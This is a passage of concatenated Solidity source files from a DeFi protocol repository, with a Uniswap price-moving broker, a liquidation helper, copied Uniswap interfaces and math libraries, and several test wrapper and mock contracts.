* @param to recipient of the trade proceeds.
* @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert.
*/
function swapToPrice(
bool tradingAsEOA,
address uniswapRouter,
address uniswapFactory,
address[2] memory swappedTokens,
uint256[2] memory truePriceTokens,
uint256[2] memory maxSpendTokens,
address to,
uint256 deadline
) public {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
// true price is expressed as a ratio, so both values must be non-zero
require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE");
// caller can specify 0 for either if they wish to swap in only one direction, but not both
require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND");
bool aToB;
uint256 amountIn;
{
(uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]);
(aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB);
}
require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN");
// spend up to the allowance of the token in
uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1];
if (amountIn > maxSpend) {
amountIn = maxSpend;
}
address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1];
address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0];
TransferHelper.safeApprove(tokenIn, address(router), amountIn);
if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests.
path,
to,
deadline
);
}
/**
* @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the
* uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move
* the pool price to be equal to the true price.
* @dev Note that this method uses the Babylonian square root method which has a small margin of error which will
* result in a small over or under estimation on the size of the trade needed.
* @param truePriceTokenA the nominator of the true price.
* @param truePriceTokenB the denominator of the true price.
* @param reserveA number of token A in the pair reserves
* @param reserveB number of token B in the pair reserves
*/
//
function computeTradeToMoveMarket(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) public pure returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
// The trade ∆a of token a required to move the market to some desired price P' from the current price P can be
// found with ∆a=(kP')^1/2-Ra.
uint256 leftSide =
Babylonian.sqrt(
FullMath.mulDiv(
invariant,
aToB ? truePriceTokenA : truePriceTokenB,
aToB ? truePriceTokenB : truePriceTokenA
)
);
uint256 rightSide = (aToB ? reserveA : reserveB);
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price back to the true price.
amountIn = leftSide.sub(rightSide);
}
// The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound
// to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so
// unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant
// handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker
// are simply moved here to maintain truffle support.
function getReserves(
address factory,
address tokenA,
address tokenB
) public view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title ReserveCurrencyLiquidator
* @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of
* financial contracts. Is assumed to be called by a DSProxy which holds reserve currency.
*/
contract ReserveCurrencyLiquidator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to
* liquidate a position within one transaction.
* @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending
* liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has
* passed liveness. At this point the position can be manually unwound.
* @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted.
* These existing tokens will be used first before any swaps or mints are done.
* @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough
* collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param financialContract address of the financial contract on which the liquidation is occurring.
* @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy.
* @param liquidatedSponsor address of the sponsor to be liquidated.
* @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage.
* @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt.
* @param deadline abort the trade and liquidation if the transaction is mined after this timestamp.
**/
function swapMintLiquidate(
address uniswapRouter,
address financialContract,
address reserveCurrency,
address liquidatedSponsor,
FixedPoint.Unsigned calldata maxReserveTokenSpent,
FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
) public {
IFinancialContract fc = IFinancialContract(financialContract);
// 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already
// has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall).
FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc));
// 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics.
FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding());
FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr);
// 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any
// collateral needed to mint the token short fall.
FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall);
// 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this
// will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0.
FixedPoint.Unsigned memory collateralToBePurchased =
subOrZero(totalCollateralRequired, getCollateralBalance(fc));
// 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall.
// Note the path assumes a direct route from the reserve currency to the collateral currency.
if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
address[] memory path = new address[](2);
path[0] = reserveCurrency;
path[1] = fc.collateralCurrency();
TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue);
router.swapTokensForExactTokens(
collateralToBePurchased.rawValue,
maxReserveTokenSpent.rawValue,
path,
address(this),
deadline
);
}
// 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve
// or not enough collateral in the contract) the script should try to liquidate as much as it can regardless.
// Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall
// as the maximum tokens that could be liquidated at the current GCR.
if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) {
totalCollateralRequired = getCollateralBalance(fc);
collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc));
tokenShortfall = collateralToMintShortfall.divCeil(gcr);
}
// 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR.
// If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral
// currency as this is needed to pay the final fee in the liquidation tx.
TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue);
if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall);
// The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full
// token token balance at this point if there was a shortfall.
FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate;
if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc);
// 6. Liquidate position with newly minted synthetics.
TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue);
fc.createLiquidation(
liquidatedSponsor,
minCollateralPerTokenLiquidated,
maxCollateralPerTokenLiquidated,
liquidatableTokens,
deadline
);
}
// Helper method to work around subtraction overflow in the case of: a - b with b > a.
function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b)
internal
pure
returns (FixedPoint.Unsigned memory)
{
return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b);
}
// Helper method to return the current final fee for a given financial contract instance.
function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency());
}
// Helper method to return the collateral balance of this contract.
function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this)));
}
// Helper method to return the synthetic balance of this contract.
function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this)));
}
}
// Define some simple interfaces for dealing with UMA contracts.
interface IFinancialContract {
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
FixedPoint.Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function positions(address sponsor) external returns (PositionData memory);
function collateralCurrency() external returns (address);
function tokenCurrency() external returns (address);
function finder() external returns (address);
function pfc() external returns (FixedPoint.Unsigned memory);
function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory);
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external;
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
);
}
interface IStore {
function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory);
}
interface IFinder {
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
// Simple contract used to redeem tokens using a DSProxy from an emp.
contract TokenRedeemer {
function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens)
public
returns (FixedPoint.Unsigned memory)
{
IFinancialContract fc = IFinancialContract(financialContractAddress);
TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue);
return fc.redeem(numTokens);
}
}
interface IFinancialContract {
function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn);
function tokenCurrency() external returns (address);
}
/*
MultiRoleTest contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/MultiRole.sol";
// The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes.
contract MultiRoleTest is MultiRole {
function createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] calldata initialMembers
) external {
_createSharedRole(roleId, managingRoleId, initialMembers);
}
function createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) external {
_createExclusiveRole(roleId, managingRoleId, initialMember);
}
// solhint-disable-next-line no-empty-blocks
function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Testable.sol";
// TestableTest is derived from the abstract contract Testable for testing purposes.
contract TestableTest is Testable {
// solhint-disable-next-line no-empty-blocks
constructor(address _timerAddress) public Testable(_timerAddress) {}
function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) {
// solhint-disable-next-line not-rely-on-time
return (getCurrentTime(), now);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/VaultInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Mock for yearn-style vaults for use in tests.
*/
contract VaultMock is VaultInterface {
IERC20 public override token;
uint256 private pricePerFullShare = 0;
constructor(IERC20 _token) public {
token = _token;
}
function getPricePerFullShare() external view override returns (uint256) {
return pricePerFullShare;
}
function setPricePerFullShare(uint256 _pricePerFullShare) external {
pricePerFullShare = _pricePerFullShare;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Interface for Yearn-style vaults.
* @dev This only contains the methods/events that we use in our contracts or offchain infrastructure.
*/
abstract contract VaultInterface {
// Return the underlying token.
function token() external view virtual returns (IERC20);
// Gets the number of return tokens that a "share" of this vault is worth.
function getPricePerFullShare() external view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Implements only the required ERC20 methods. This contract is used
* test how contracts handle ERC20 contracts that have not implemented `decimals()`
* @dev Mostly copied from Consensys EIP-20 implementation:
* https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol
*/
contract BasicERC20 is IERC20 {
uint256 private constant MAX_UINT256 = 2**256 - 1;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private _totalSupply;
constructor(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
_totalSupply = _initialAmount;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public override returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public override returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ResultComputation.sol";
import "../../../common/implementation/FixedPoint.sol";
// Wraps the library ResultComputation for testing purposes.
contract ResultComputationTest {
using ResultComputation for ResultComputation.Data;
ResultComputation.Data public data;
function wrapAddVote(int256 votePrice, uint256 numberTokens) external {
data.addVote(votePrice, FixedPoint.Unsigned(numberTokens));
}
function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) {
return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold));
}
function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) {
return data.wasVoteCorrect(revealHash);
}
function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) {
return data.getTotalCorrectlyVotedTokens().rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Voting.sol";
import "../../../common/implementation/FixedPoint.sol";
// Test contract used to access internal variables in the Voting contract.
contract VotingTest is Voting {
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
)
public
Voting(
_phaseLength,
_gatPercentage,
_inflationRate,
_rewardsExpirationTimeout,
_votingToken,
_finder,
_timerAddress
)
{}
function getPendingPriceRequestsArray() external view returns (bytes32[] memory) {
return pendingPriceRequests;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract UnsignedFixedPointTest {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeMath for uint256;
function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) {
return FixedPoint.fromUnscaledUint(a).rawValue;
}
function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(b);
}
function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b));
}
function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMin(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMax(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue;
}
function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(b).rawValue;
}
function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.sub(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(b).rawValue;
}
function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(b).rawValue;
}
function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue;
}
